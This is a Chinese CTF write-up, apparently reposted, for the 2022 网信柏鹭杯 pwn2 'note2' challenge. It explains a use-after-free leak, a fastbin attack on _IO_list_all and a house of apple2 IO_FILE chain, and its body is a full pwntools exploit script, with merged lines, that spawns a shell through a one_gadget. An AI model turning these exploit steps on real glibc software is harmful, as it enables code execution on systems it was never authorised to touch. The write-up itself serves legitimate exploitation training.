2022 网信柏鹭杯 pwn2 note2

2023-11-10 06:20
文章标签 2022 网信 pwn2 柏鹭杯 note2

本文主要是介绍2022 网信柏鹭杯 pwn2 note2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2022 网信柏鹭杯 pwn2 note2

因2.34之后取消了malloc,free hook这两个在堆pwn中用的最多的hook,roderick师傅分享的house of apple学习了一下,是一个非常好用的调用链,包括house of emma, house of kiwi, house of banana, house of pig, house of cat都是极好的调用链,前天的网信柏鹭杯里的pwn2是2.35的,笔者学完apple之后这里拿的2.34做的,只需要改偏移就可以打通2.35的
在这里插入图片描述
漏洞点一个uaf
首先泄露出libc,和堆地址,填满tcache,就可以泄露出libc和heap了
因为要打io所以需要劫持一下io_list_all
这里笔者考虑的是fastbin attack,所以再一次填满了tcache,接着利用fastbin attack,将_IO_list_all劫持到堆上
接着就是house of apple了,移步roderick师傅的house of apple2详解,和2.24对vtable的绕过相似,笔者详细写过IO_FILE-2.24对vtable检测绕过、babyprintf、house of orange

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './note2'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')context.terminal = ['tmux','splitw','-h']debug = 0
if debug:r = remote()
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = '> 'def add(index, size, content):r.sendlineafter(menu, '1')r.sendlineafter(menu, str(index))r.sendlineafter(menu, str(size))r.sendlineafter('Enter content: ', content)def delete(index):r.sendlineafter(menu, '2')r.sendlineafter(menu, str(index))def show(index):r.sendlineafter(menu, '3')r.sendlineafter(menu, str(index))for i in range(8):add(i, 0x80, 'aaaa')
add(8, 0x80, 'bbbb')for i in range(8):delete(i)show(7)unsortedbin_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('unsortedbin_addr = ' + hex(unsortedbin_addr))libc = ELF('./libc.so.6')
libc_base = unsortedbin_addr - 0x1f2cc0
li('libc_base ' + hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('_IO_list_all = ' + hex(_IO_list_all))show(0)
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
system_addr = libc_base + libc.sym['system']for i in range(8):add(i, 0x80, 'aaaa')for i in range(8):add(i, 0x70, 'aaaa')add(8, 0x70, 'aaaa')for i in range(8):delete(i)delete(8)
delete(7)for i in range(7):add(i, 0x70, 'aaaa')p1 = p64(key ^ _IO_list_all)
add(0, 0x70, p1)
add(1, 0x70, 'aaa')
add(2, 0x70, 'aaa')target_addr = heap_base + 0xc30
add(0, 0x70, p64(target_addr))_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
li('_IO_wfile_jumps = ' + hex(_IO_wfile_jumps))p2 = b'\x00'
p2 = p2.ljust(0x28, b'\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210)add(1, 0x200, p2)one = [0xda7c1, 0xda7c4, 0xda7c8]
one_gadget = one[0] + libc_basep3 = b'\x00'
p3 = p3.ljust(0x68, b'\x00') + p64(one_gadget)
add(2, 0x200, p3)r.sendlineafter(menu, '4')r.interactive()

这篇关于2022 网信柏鹭杯 pwn2 note2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/380871

相关文章

上海大学《2022年836+915自动控制原理真题及答案》 (完整版)

Part1:2022年上海大学真题题目 学硕836 专硕915 Part2:2022年上海大学真题答案 学硕836 专硕915

【算法 2022】高效有用的机器学习算法和 Python 库

2022年已经到来,在此祝大家虎年大吉!2022年,下面几种机器学习算法和 Python 库将在未来更受欢迎!让我们花个几分钟一起来了解下: 一、CatBoost CatBoost 可能是最新的算法,因为它随着越来越流行而不断更新。这个机器学习算法对于处理分类数据的数据科学家特别有用。您可以考虑 Random Forest 和 XGBoost 算法的优点,CatBoost 具有它们的大部分优点

【数据分享】2000-2022年我国省市县三级的逐月O3数据(免费获取\excel\shp格式)

空气质量数据是在我们日常研究中经常使用的数据!之前我们给大家分享了2000-2022年的省市县三级的逐月PM2.5数据、2013-2022年的省市县三级的逐月CO数据、2013-2022年的省市县三级的逐月SO2数据、2008-2022年我国省市县三级的逐月NO2数据和2000—2022年的省市县三级的逐月PM10数据(均可查看之前的文章获悉详情)! 本次我们分享的是我国2000—2022年的省

【数据分享】2000-2022年我国省市县三级的逐日O3数据(免费获取\excel\shp格式)

空气质量数据是在我们日常研究中经常使用的数据!之前我们给大家分享了2000-2022年的省市县三级的逐日PM2.5数据、2013-2022年的省市县三级的逐日CO数据、2013-2022年的省市县三级的逐日SO2数据、2008-2022年我国省市县三级的逐日NO2数据和2000-2022年我国省市县三级的逐日PM10数据(均可咨询获取)! 本次我们分享的是我国2000—2022年的省市县三级的逐

Windows 11 下使用 MSVC 2022 编译64位Nginx

一、软件准备 1、安装 Visual Studio 2022 包含单个组件: .NET Framework 4.6.1 目标包.NET Framework 4.6.1 SDKWindows 通用 C 运行时Windows 通用 CRT SDKMSVC v142 - VS 2019 C++ x64/x86 生成工具(v14.26)对 v142 生成工具(14.21)的 C++/CL

2000-2022年各地级市市场潜力指数数据(含原始数据+计算代码+结果)

2000-2022年各地级市市场潜力指数数据(含原始数据+计算代码+结果) 1、时间:2000-2022年 2、指标:城市纬度、城市经度、社会消费品零售总额 3、范围:262个地级市 4、指标解释:市场潜力反映了城市可能获得的整体的市场规模或空间中分布的需求因素(包括市场、收入等)对城市经济产生的影响。 5、参考文献:追踪我国制造业集聚的空间来源:基于马歇尔外部性与新经济地理的综合视角(

中国各县域农作物播种面积(2000-2022年)

中国各县域的农作物播种面积反映了当地农业生产的规模和结构,对于确保国家粮食安全、促进农民增收以及维护生态平衡至关重要。不同地区的农作物播种面积因地理环境、气候条件和市场需求而异,例如,水稻、小麦和玉米等主要粮食作物的种植面积在粮食主产区较大,而蔬菜、水果和经济作物如棉花、油料等则根据各地特色和优势分布。 中国各县域的农作物播种面积数据来自各省份统计年鉴,有助于对农业政策的研究和制定,保证农产

中国各省份-环境规制相关数据(2000-2022年)

环境规制,也称为环保政策和污染治理,是一系列由政府制定的旨在解决环境问题、保护生态环境和促进可持续发展的政策措施。这些措施包括法律法规、行政命令、经济激励和市场机制等,目的是约束和指导企业和个人行为,减少对环境的负面影响。 环境规制强度是衡量这些政策措施严格程度的指标,它反映了政府在环境保护方面的努力和执行力度。一个常用的衡量方法是通过计算每千元工业增加值的工业污染治理完成投资额来表示环境规制

Visual Studio 2022 下载和安装

文章目录 概述一,下载步骤二,安装过程 概述 Visual Studio 提供 AI 增强功能,例如用于上下文感知代码补全的 IntelliSense 和可利用开源代码中的 AI 模式的 IntelliCode。 集成的 GitHub Copilot 提供 AI 支持的代码补全、聊天辅助、调试建议和单元测试生成功能。 这些功能可提高工作效率和代码质量,帮助你更快、更智能地编写

“十四五”国家重点研发计划“区块链”重点专项 2022年

一、报告名称     “十四五”国家重点研发计划“区块链”重点专项2022年度项目申报指南(征求意见稿) 免责声明:文章报告仅代表作者观点,版权归原作者所有。